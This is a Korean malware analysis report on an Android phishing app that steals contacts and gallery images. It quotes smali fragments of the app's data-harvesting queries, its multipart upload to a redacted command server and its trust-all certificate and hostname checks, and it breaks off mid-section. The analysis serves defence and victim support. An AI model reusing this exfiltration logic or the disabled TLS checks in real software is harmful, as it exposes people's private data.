분석 버전: v3.0 (Quantum Nano Deep Analysis)
분석일: 2025-11-24 ~ 2026-02-14 (양자 나노 단위 심층 분석)
분석기관: 주식회사 아크링크
분석 목적: 피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 심층 분석
1. [개요](#1-개요)
2. [앱 기본 정보](#2-앱-기본-정보)
3. [권한 분석](#3-권한-분석)
4. [코드 구조 분석](#4-코드-구조-분석)
5. [데이터 수집 유틸리티 전수 분석](#5-데이터-수집-유틸리티-전수-분석)
6. [이미지 탈취 파이프라인 분석](#6-이미지-탈취-파이프라인-분석)
7. [SSL/TLS 우회 체인 분석](#7-ssltls-우회-체인-분석)
8. [네트워크/C2 분석](#8-네트워크c2-분석)
9. [방어기제 분석 및 우회](#9-방어기제-분석-및-우회)
10. [데이터 탈취 분석](#10-데이터-탈취-분석)
11. [취약점 카탈로그](#11-취약점-카탈로그)
12. [기법 카탈로그](#12-기법-카탈로그)
13. [Developer Profiling](#13-developer-profiling)
14. [MALBIO 유전체 분석](#14-malbio-유전체-분석)
15. [피해 영향 계산](#15-피해-영향-계산)
16. [IOC (침해지표)](#16-ioc-침해지표)
17. [분석 타임라인](#17-분석-타임라인)
18. [결론 및 위험도 점수표](#18-결론-및-위험도-점수표)
본 보고서는 QN.apk 악성앱에 대한 양자 나노 단위 분석 결과를 정리한 것입니다. "양자 나노 단위 분석"이란 앱의 바이트코드를 가장 작은 단위(smali 명령어)까지 분해하여 동작 원리를 완전히 파악하는 심층 분석 기법입니다.
QN은 Wavegrid Core 패밀리의 Variant B+ 진화형으로, QL과 쌍둥이 관계에 있으며 이미지 탈취 기능이 추가된 고위험 악성앱입니다.
항목 · 수치
**총 분석 클래스 (smali)** · 7,629개
**멀티덱스 클래스 (smali_classes2)** · 1,575개
**전체 분석 대상** · 9,204개
**핵심 wavegrid 클래스** · 17개
**HTTP 클라이언트 파일** · 84개 (hjq/http)
**데이터 수집 파일** · 4개 (gq1, ContactApi, SendInfoActivity, SendInfoActivity$a)
**SSL 우회 파일** · 10개
**패치된 파일** · 3개
항목 · 내용
**에뮬레이터** · LD플레이어 (Android 9, API 28)
**디컴파일러** · apktool 2.9.3
**분석 도구** · smali 코드 수동 분석
**정적 분석** · 바이트코드 수준 전수 조사
항목 · 값
파일명 · QN.apk
버전코드 · 201
버전명 · 2.0.1.te
표면 패키지명 · `com.hjsduydsb.djjedoem`
내부 패키지 · `com.cryonix.wavegrid`
앱 패밀리 · Wavegrid Core (Variant B+)
프레임워크 · Native Android (Kotlin + Java)
minSdkVersion · 29 (Android 10)
targetSdkVersion · 34 (Android 14)
compileSdkVersion · 34 (Android 14)
위협 수준 · **HIGH**
우회 상태 · 성공
Application 클래스 · `com.cryonix.wavegrid.Myapplication`
실행 시간 · 388ms (Wavegrid 패밀리 최단 기록)
· 앱 이름 "QN"으로 간결한 유틸리티/메신저 앱을 위장
· 표면 패키지명(com.hjsduydsb.djjedoem)은 랜덤 문자열로 탐지 회피
· 내부 실제 코드는 com.cryonix.wavegrid 네임스페이스 사용
· QL과 동일 인프라 계열 (dasj234jnaftad5.* 도메인)
```yaml
version: 2.9.3
sdkInfo:
minSdkVersion: 29
targetSdkVersion: 34
versionInfo:
versionCode: 201
versionName: 2.0.1.te # ".te" 접미사 = test edition 추정
unknownFiles:
DebugProbesKt.bin: 8 # Kotlin 코루틴 디버그 프로브 포함
kotlin-tooling-metadata.json: 8
okhttp3/internal/publicsuffix/publicsuffixes.gz: 8
```
주목할 점: DebugProbesKt.bin 포함은 개발자가 디버그 빌드를 배포용으로 사용했을 가능성을 시사합니다. 이는 개발 경험이 중급 수준임을 나타냅니다.
권한 · 위험도 · 피해 시나리오
`READ_CONTACTS` · **CRITICAL** · [피해자 정보 비공개] 전체 탈취 → 지인 대상 2차 피싱 공격에 활용
`READ_PHONE_STATE` · **HIGH** · 기기 IMEI, 전화번호 수집 → [피해자 정보 비공개] 및 추적
`READ_PHONE_NUMBERS` · **HIGH** · [피해자 정보 비공개] 직접 수집 → 금융사기 본인인증 악용 가능
`READ_MEDIA_IMAGES` · **HIGH** · 갤러리 이미지 접근 → 개인 사진/신분증 사진 탈취
`READ_MEDIA_VIDEO` · **HIGH** · 동영상 접근 → 사생활 영상 탈취 및 협박 소재
`READ_EXTERNAL_STORAGE` · **MEDIUM** · Android 12 이하에서 전체 저장소 접근 (maxSdkVersion=32)
`INTERNET` · **LOW** · 네트워크 통신 (C2 서버 데이터 전송용)
```xml
<permission
android:name="com.hjsduydsb.djjedoem.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
android:protectionLevel="signature"/>
```
이 커스텀 권한은 AndroidX 호환성 라이브러리에서 자동 생성된 것으로, 브로드캐스트 리시버의 export 제한을 위한 것입니다. 악의적 목적은 아니지만, 패키지명에 랜덤 문자열이 포함되어 있어 탐지 회피에 기여합니다.
```
SendInfoActivity.onButtonClick()
→ g0() # 권한 요청 시작
→ SDK_INT >= 33 분기:
├─ "android.permission.READ_MEDIA_IMAGES"
└─ "android.permission.READ_MEDIA_VIDEO"
→ SDK_INT < 33 분기:
└─ "android.permission.READ_EXTERNAL_STORAGE"
→ 공통 추가:
├─ "android.permission.READ_CONTACTS"
├─ "android.permission.READ_PHONE_NUMBERS"
└─ "android.permission.READ_PHONE_STATE"
→ s51 (PermissionFragment) 위임
→ qk1 콜백 → h0() (성공) / k0() (실패)
```
핵심 코드 (SendInfoActivity.smali 라인 256-316):
```smali
sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
const/16 v2, 0x21 # API 33 (Android 13)
if-lt v1, v2, :cond_0 # API 33 미만이면 레거시 권한
const-string v1, "android.permission.READ_MEDIA_IMAGES"
invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
const-string v1, "android.permission.READ_MEDIA_VIDEO"
invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
goto :goto_0
:cond_0
const-string v1, "android.permission.READ_EXTERNAL_STORAGE"
invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
```
이 코드는 Android 13의 세분화 권한 모델에 적응하는 멀티버전 호환 권한 요청 패턴입니다. 개발자가 최신 Android 권한 체계를 숙지하고 있음을 보여줍니다.
권한이 거부되면 k0(I)V 메서드가 호출되어 설정 화면 이동 다이얼로그를 표시합니다:
```smali
new-instance v0, Lh51; # 커스텀 다이얼로그 생성
...
const-string p3, "android.settings.APPLICATION_DETAILS_SETTINGS"
invoke-direct {p0, p3}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
...
invoke-virtual {p1, p0, p2}, Landroidx/activity/ComponentActivity;->startActivityForResult(...)V
```
피해자가 권한을 거부하면 앱 설정 화면으로 강제 이동시켜 권한 허용을 압박하는 사회공학적 설계입니다.
```
com.cryonix.wavegrid/ (17개 클래스)
├── Myapplication.smali # Application 진입점 (HTTP 초기화)
├── server/ (4개) # API 레이어 (※ api/ 대신 server/ 사용)
│ ├── LoginApi.smali # 로그인 API (webapp/login)
│ ├── ContactApi.smali # 연락처 전송 API (webapp/saveAddressBook)
│ ├── HttpData.smali # HTTP 응답 래퍼 (code, data, msg, responseHeaders)
│ └── HttpLifecycleManager.smali # HTTP 생명주기 관리 (Activity 소멸 시 요청 취소)
├── bean/ (3개) # 데이터 모델
│ ├── CollectBeanDTO.smali # 연락처 수집 DTO (name, number)
│ ├── InfoBeanDTO.smali # 통합 정보 DTO (path, displayName, content, date, type)
│ └── ResultSuccessCallBack.smali # 결과 콜백 인터페이스
└── view/ (10개) # UI 레이어
├── LoginActivity.smali # 로그인 (초대코드 검증)
├── LoginActivity$goToNext$2.smali # 로그인 성공 콜백
├── LoginActivity_ViewBinding.smali # ButterKnife 뷰바인딩
├── LoginActivity_ViewBinding$a.smali # 뷰바인딩 내부 클래스
├── SendInfoActivity.smali # 데이터 전송 전용 화면
├── SendInfoActivity$a.smali # 이미지 압축/전송 핸들러
├── SendInfoActivity$startNextInfo$1.smali # 연락처 전송 완료 콜백
├── SendInfoActivity_ViewBinding.smali # 뷰바인딩
└── SendInfoActivity_ViewBinding$a.smali # 뷰바인딩 내부 클래스
```
난독화명 · 원본 소스 · 역할
`ml1` · ServerInfo.kt · C2 서버 URL 상수 + 이미지 업로드 로직
`bg1` · RequestServer.java · EasyHttp 서버 설정 (SSL 우회 포함)
`gq1` · StatusUtils.java · **데이터 수집 핵심 유틸리티** (연락처/이미지/통신사)
`f90` · HttpsUtils.java · SSL/TLS 우회 유틸리티
`f90$d` · HttpsUtils$d · TrustAll X509TrustManager (인증서 무시)
`mi1` · (SharedPreferences) · 앱 상태 저장 (INVITECODE, IFFIRST, ISUPLOAD, UUIDVALUE)
`h51` · (Dialog) · 커스텀 다이얼로그 (권한 거부 시 설정 이동)
`vs0$b` · (ImageCompressor) · 이미지 압축 처리기
`wf1` · (RequestHandler) · EasyHttp 요청 핸들러
`s51` · (PermissionFragment) · 런타임 권한 요청 프래그먼트
`qk1` · (PermissionCallback) · 권한 결과 콜백
`zc0` · (Intrinsics) · Kotlin null 체크 유틸리티
```
[1] Myapplication.onCreate()
├─ OkHttpClient 인스턴스 생성
├─ EasyConfig.with(client)
├─ bg1 (RequestServer) 설정 → C2 URL + SSL 우회
└─ EasyConfig.into() → HTTP 클라이언트 초기화 완료
[2] LoginActivity.onCreate()
├─ ImmersionBar 초기화 (상태바 다크 폰트)
├─ setContentView(0x7f0b001c)
├─ ButterKnife.a() → 뷰바인딩
└─ L() 호출 → 초대코드 검증 분기
[3] LoginActivity.L() [패치됨]
└─ 원본: IFFIRST 체크 → UUIDVALUE 복원 → 초대코드 검증
└─ 패치: l0() 직접 호출 → 검증 우회
[4] LoginActivity.l0()
├─ mi1 SharedPreferences에 IFFIRST=true 저장
├─ Intent → SendInfoActivity 시작
└─ finish() → LoginActivity 종료
[5] SendInfoActivity.onCreate()
├─ ImmersionBar 초기화
├─ setContentView(0x7f0b001d)
├─ ButterKnife.a() → 뷰바인딩 (btnSync)
└─ L() 호출 → INVITECODE/ISUPLOAD 복원
[6] SendInfoActivity.onButtonClick() → g0()
└─ 6개 권한 일괄 요청
[7] 권한 허용 시 → h0() → j0()
├─ p0(): 연락처 수집 + C2 전송
└─ o0(): 이미지 수집 + 압축 + C2 전송
[8] 연락처 전송 완료 콜백
└─ SendInfoActivity$startNextInfo$1.onHttpSuccess()
├─ code == 200: 버튼 비활성화 + ISUPLOAD=true + 성공 다이얼로그
└─ code != 200: Toast로 에러 메시지 표시
```
라이브러리 · 용도 · 위험도
`com.hjq.http` (EasyHttp) · HTTP 클라이언트 프레임워크 · 악용 (C2 통신)
`okhttp3` · HTTP 전송 엔진 · 악용 (SSL 우회)
`com.google.gson` · JSON 직렬화 · 악용 (연락처 JSON 변환)
`butterknife` · 뷰바인딩 · 정상
`com.gyf.immersionbar` · 상태바 커스텀 · 정상 (UI 위장)
`com.blankj.utilcode` · Android 유틸리티 · 정상
`androidx.*` · AndroidX 라이브러리 · 정상
gq1 (원본: StatusUtils.java)은 QN의 모든 데이터 수집을 담당하는 핵심 유틸리티입니다. 4개의 정적 메서드로 구성됩니다.
```smali
sget-object v2, Landroid/provider/MediaStore$Images$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
invoke-virtual/range {v1..v6}, Landroid/content/ContentResolver;->query(...)
```
분석: _data 컬럼에서 이미지의 절대 파일 경로를 추출합니다. 이 경로를 이용해 후속 이미지 업로드가 이루어집니다. selection=null로 쿼리하므로 기기의 모든 이미지가 대상입니다.
위험 데이터:
· 갤러리 사진 전체 (카메라, 스크린샷, 다운로드 포함)
· 신분증 촬영본
· 금융 앱 스크린샷
· 메신저 수신 이미지
```smali
sget-object v2, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
invoke-virtual/range {v1..v6}, Landroid/content/ContentResolver;->query(...)
```
분석: CommonDataKinds.Phone.CONTENT_URI를 사용하여 전화번호가 있는 연락처만 직접 쿼리합니다. 이 메서드는 이미지 전송용 userName 매핑에 사용됩니다.
```smali
sget-object v2, Landroid/provider/ContactsContract$Contacts;->CONTENT_URI:Landroid/net/Uri;
if-lez v4, :cond_0 # has_phone_number > 0 체크
sget-object v6, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
const-string v4, "contact_id=" # WHERE contact_id=<id>
invoke-virtual {v5}, Ljava/lang/String;->trim()Ljava/lang/String;
const-string v6, " "
const-string v7, ""
invoke-virtual {v5, v6, v7}, Ljava/lang/String;->replace(...) # 공백 제거
const-string v6, "-"
invoke-virtual {v5, v6, v7}, Ljava/lang/String;->replace(...) # 하이픈 제거
```
분석: 2단계 조인 쿼리 패턴으로, has_phone_number > 0인 연락처만 선택 후 번호를 정규화합니다. 공백과 하이픈을 제거하여 010-**- 형태의 표준화된 전화번호를 생성합니다. 이는 서버 측에서 연락처 데이터를 즉시 활용**할 수 있도록 전처리하는 것입니다.
수집 데이터 구조 (CollectBeanDTO):
```java
{
"name": "홍길동", // display_name
"number": "010-**-**" // data1 정규화 결과
}
```
```smali
const-string v0, "phone"
invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(...)
check-cast p0, Landroid/telephony/TelephonyManager;
invoke-virtual {p0}, Landroid/telephony/TelephonyManager;->getSimOperatorName()Ljava/lang/String;
```
분석: TelephonyManager.getSimOperatorName()으로 "SKT", "KT", "LG U+" 등의 통신사 이름을 반환합니다. 이 정보는 [피해자 정보 비공개] 통신사 기반 공격(스미싱 발송 시 통신사 특화 등)에 활용될 수 있습니다.
QN의 com.cryonix.wavegrid 패키지 내에서 SMS 관련 코드(SmsManager, READ_SMS, RECEIVE_SMS)를 전수 검색한 결과 SMS 수집 코드는 존재하지 않습니다.
AndroidManifest.xml에도 SMS 관련 권한이 선언되어 있지 않습니다. Wavegrid Core 패밀리는 연락처와 이미지 탈취에 특화되어 있으며, SMS 수집은 수행하지 않습니다.
```
SendInfoActivity.j0()
├─ p0() → 연락처 전송
│ ├─ gq1.b(context) → List<InfoBeanDTO> (연락처 이름+번호)
│ ├─ Gson.toJson(list) → JSON 문자열 변환
│ ├─ ContactApi 객체 조립:
│ │ ├─ userName: N 필드 (INVITECODE에서 복원)
│ │ ├─ model: "android" (하드코딩)
│ │ ├─ bjPhone: M 필드 (전화번호)
│ │ ├─ operatorName: gq1.d(context) (통신사명)
│ │ └─ phoneContent: JSON 문자열 (연락처 전체)
│ └─ EasyHttp.post() → [비공개]
│
└─ o0() → 이미지 전송
├─ gq1.a(context) → List<InfoBeanDTO> (이미지 경로 목록)
├─ 각 이미지에 대해:
│ ├─ vs0$b (이미지 압축기) → 압축된 File 생성
│ ├─ SendInfoActivity$a.c() 콜백 → 새 Thread 생성
│ └─ ml1.a() → OkHttp 직접 사용 → [비공개]
└─ 반복 (모든 이미지 순회)
```
```
MediaStore.Images.Media.EXTERNAL_CONTENT_URI
→ ContentResolver.query(null selection = 모든 이미지)
→ _data 컬럼에서 절대 경로 추출
→ InfoBeanDTO.path에 저장
→ ArrayList<InfoBeanDTO> 반환
```
```
SendInfoActivity.o0()
→ List<InfoBeanDTO> 순회
→ vs0$b (이미지 압축기) 초기화
→ y(path, 0) → 이미지 로드 및 압축 (quality=0 → 최저 품질)
→ SendInfoActivity$a 콜백 설정
→ r() → 압축 실행
```
주목할 점: 압축 품질 파라미터가 0으로 설정되어 있어, 파일 크기를 최소화하여 대량 전송 효율을 극대화합니다. 이미지의 내용(신분증, 사진 등)을 식별할 수 있는 수준의 품질은 유지됩니다.
```smali
new-instance p1, Lokhttp3/OkHttpClient$Builder;
invoke-static {v0, v0, v0}, Lf90;->c(null, null, null) # TrustAll SSL
iget-object v1, v0, Lf90$c;->a:Ljavax/net/ssl/SSLSocketFactory;
iget-object v0, v0, Lf90$c;->b:Ljavax/net/ssl/X509TrustManager;
invoke-virtual {p1, v1, v0}, Lokhttp3/OkHttpClient$Builder;->sslSocketFactory(...)
sget-object v1, Lokhttp3/MultipartBody;->FORM:Lokhttp3/MediaType;
const-string v2, "image/*"
invoke-static {v2}, Lokhttp3/MediaType;->parse(...)
invoke-static {v2, p3}, Lokhttp3/RequestBody;->create(MediaType, File)
invoke-virtual {v0, p0, v1, p3}, Lokhttp3/MultipartBody$Builder;->addFormDataPart(name, filename, body)
new-instance v1, Ljava/lang/StringBuilder;
const-string v2, "[비공개]
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(...)
invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(userName)
invoke-virtual {p1, p0}, Lokhttp3/OkHttpClient;->newCall(request)
new-instance p1, Lml1$a; # 콜백 래퍼
invoke-interface {p0, p1}, Lokhttp3/Call;->enqueue(callback)
```
핵심 발견: 이미지 전송은 EasyHttp가 아닌 OkHttp를 직접 사용합니다. 이는:
1. 이미지 전송이 연락처 전송보다 나중에 추가된 기능임을 시사
2. 별도의 SSL 우회 체인(f90)을 사용하여 이중 보험 적용
3. Multipart 형식으로 이미지 파일을 raw binary로 전송
```
SendInfoActivity$a.c(String, File compressFile)
→ new Thread(uk1(SendInfoActivity, File))
→ Thread.start()
→ [별도 스레드에서] ml1.a() → OkHttp.enqueue()
```
이미지 전송은 UI 스레드와 분리된 별도 스레드에서 실행됩니다. 각 이미지마다 새 Thread를 생성하므로, 수십 장의 이미지가 동시 병렬 전송됩니다.
QN에는 이중 SSL 우회 체인이 존재합니다. 하나는 EasyHttp 프레임워크 기반, 다른 하나는 직접 OkHttp 기반입니다.
```
[Application 초기화]
Myapplication.onCreate()
→ EasyConfig.setServer(bg1)
→ bg1.getOkHttpClient()
→ HttpSslFactory.generateSslConfig()
→ generateSslConfigBase(null, null, null, empty[])
→ prepareTrustManager(empty[]) → null 반환
→ trustManager == null 분기:
→ new UnSafeTrustManager() ← 모든 인증서 신뢰
→ SSLContext.getInstance("TLS")
→ SSLContext.init(null, [UnSafeTrustManager], null)
→ SSLSocketFactory 획득
→ HttpSslFactory.generateUnSafeHostnameVerifier()
→ new UnSafeHostnameVerifier() ← 모든 호스트 신뢰
→ OkHttpClient.Builder
.sslSocketFactory(factory, trustManager)
.hostnameVerifier(unsafeVerifier)
.build()
```
```
[이미지 전송 시]
ml1.a()
→ f90.c(null, null, null) # HttpsUtils.c()
→ f90.e(null) → null 반환 # prepareTrustManager
→ trustManagers == null 분기:
→ new f90$d() ← TrustAll (checkServerTrusted = empty)
→ SSLContext.getInstance("TLS")
→ SSLContext.init(null, [f90$d], null)
→ SSLSocketFactory 획득
→ OkHttpClient.Builder
.sslSocketFactory(factory, trustManager)
.build()
```
```smali
.method public checkClientTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
return-void # 아무 검증도 하지 않음
.end method
.method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
return-void # ← CRITICAL: 서버 인증서 검증 완전 무시
.end method
.method public getAcceptedIssuers()[Ljava/security/cert/X509Certificate;
const/4 p0, 0x0
new-array p0, p0, [Ljava/security/cert/X509Certificate;
return-object p0 # 허용된 발급자 없음 → 모든 인증서 수락
.end method
```
```smali
.method public verify(Ljava/lang/String;Ljavax/net/ssl/SSLSession;)Z
const/4 p0, 0x1
return p0 # ← CRITICAL: 호스트명 검증 완전 무시
.end method
```
```smali
```
```xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTra
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr